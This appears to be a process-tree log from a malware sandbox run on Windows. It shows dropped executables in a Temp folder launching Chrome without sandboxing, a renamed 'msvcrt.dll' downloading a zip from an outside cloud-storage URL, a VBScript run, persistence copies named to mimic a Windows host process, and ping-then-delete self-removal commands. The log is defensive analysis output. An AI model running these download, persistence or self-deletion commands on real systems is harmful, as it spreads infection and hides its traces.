C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --force-high-res-timeticks=disabled --metrics-shmem-handle=5804,i,4319340539920143641,3240713927150167892,524288 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --force-high-res-timeticks=disabled --metrics-shmem-handle=5640,i,11842062605157311445,10475405076958979895,524288 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --force-high-res-timeticks=disabled --metrics-shmem-handle=4608,i,16318073768285654347,2775415669325440494,524288 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5896,i,13217203154846978683,14321751954023287816,2097152 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\client.execlient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\hjbk.exehjbk.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kythy.exekythy.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\PuTool.exe"C:\Users\Admin\AppData\Local\Temp\PuTool.exe"4⤵
-
C:\ProgramData\NetGraphql_amd64\PuTool.exeC:\ProgramData\NetGraphql_amd64\PuTool.exe5⤵
-
C:\Users\Admin\AppData\Roaming\NetGraphql_amd64\SZCIOKLAFYGPRCQMH\PuTool.exeC:\Users\Admin\AppData\Roaming\NetGraphql_amd64\SZCIOKLAFYGPRCQMH\PuTool.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\RadFactory.exeC:\Users\Admin\AppData\Local\Temp\RadFactory.exe7⤵
-
-
C:\Users\Admin\AppData\Roaming\profilerutil_i686\Crisp.exeC:\Users\Admin\AppData\Roaming\profilerutil_i686\Crisp.exe7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MetaHandle.exeC:\Users\Admin\AppData\Local\Temp\MetaHandle.exe6⤵
-
-
C:\Users\Admin\AppData\Roaming\NetGraphql_amd64\Crisp.exeC:\Users\Admin\AppData\Roaming\NetGraphql_amd64\Crisp.exe6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\fdClient.exefdClient.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2164,i,17256687375789192040,17330479045483473412,262144 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=2844 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2316,i,9731220626660298180,13412867947548211185,524288 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=2852 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2472,i,9599392357294787908,11253042795798296978,524288 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=2868 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=4304,i,1403960952652035568,14652581533347690817,2097152 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=4364 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=4308,i,11984627715814158759,10437474544202951273,2097152 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4500,i,11198121209510859992,9144039853215655606,2097152 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4512,i,10429536722591612878,9358669105337038279,2097152 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --force-high-res-timeticks=disabled --metrics-shmem-handle=4656,i,12163092119881408979,4162475792982176594,524288 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=4760 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --force-high-res-timeticks=disabled --metrics-shmem-handle=4800,i,10344518801618908018,14203407358677093540,524288 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=4812 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --force-high-res-timeticks=disabled --metrics-shmem-handle=4804,i,9983337232442540243,5319896974575254512,524288 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --force-high-res-timeticks=disabled --metrics-shmem-handle=4808,i,4684659748143342834,14370284934554126707,524288 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --force-high-res-timeticks=disabled --metrics-shmem-handle=4380,i,10661413862802895166,16090830548969770295,524288 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\khxtc13v.4br" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4296,i,17305072301968651926,6256314002198616391,2097152 --field-trial-handle=2848,i,7295301670008431850,1065294007743367348,262144 --variations-seed-version --mojo-platform-channel-handle=2868 /prefetch:95⤵
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe spx.vbs3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys108415\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys108415\tmp789.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip4⤵
-
C:\Users\Public\Documents\Sys108415\msvcrt.dllC:\Users\Public\Documents\Sys108415\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys108415\tmp789.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip5⤵
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\Sys108415\setup1.vbs"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\TitanuimXross01.exeTitanuimXross01.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\16.exe16.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1992.exe1992.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2568,i,16239464506375550977,11949923268422188598,262144 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2824,i,2899736463901407333,17703950341771462822,524288 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --force-high-res-timeticks=disabled --metrics-shmem-handle=2996,i,4479319891761031102,17024258192371717824,524288 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=4324,i,14314189581433213103,1650064320797868780,2097152 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=4328,i,7392372026332431915,7600102237428792196,2097152 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=4400 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4528,i,14753273541562067093,1446081431109865945,2097152 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4560,i,1312467055923580883,2831224986452549202,2097152 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=4592 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --force-high-res-timeticks=disabled --metrics-shmem-handle=4796,i,12644113361771667483,12146790899634225137,524288 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --force-high-res-timeticks=disabled --metrics-shmem-handle=4808,i,18352729980455664130,4074281802973939358,524288 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --force-high-res-timeticks=disabled --metrics-shmem-handle=4816,i,13877695025429120438,10241797777135658252,524288 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --force-high-res-timeticks=disabled --metrics-shmem-handle=5128,i,4117905742550021410,1224928808557461921,524288 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5960,i,981182724733894988,10250197712785549127,2097152 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --force-high-res-timeticks=disabled --metrics-shmem-handle=5452,i,14835855277495337967,11607331369242261093,524288 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --force-high-res-timeticks=disabled --metrics-shmem-handle=5316,i,504544863955658319,13058369093553157741,524288 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hq0wiiz2.eiz" --force-high-res-timeticks=disabled --metrics-shmem-handle=5368,i,668502470663349078,13582808910677073884,524288 --field-trial-handle=3340,i,12235893839752485757,16583182826891680000,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:145⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\587.exe587.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\a.exea.exe3⤵
-
C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\a.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\11.exe11.exe3⤵
-
C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\11.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\eagleClient004.exeeagleClient004.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2556,i,14161645208367755948,15134778379265023258,262144 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=2728 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --force-high-res-timeticks=disabled --metrics-shmem-handle=2736,i,13029660501307444132,2428570170546562313,524288 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=2784 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --force-high-res-timeticks=disabled --metrics-shmem-handle=2956,i,18053542982602367607,2049622223555674280,524288 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=3124 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=4320,i,333522334536146926,4835052776284961022,2097152 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=812,i,1188316995291667572,14005757798280298387,2097152 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=4372 /prefetch:15⤵
-
-
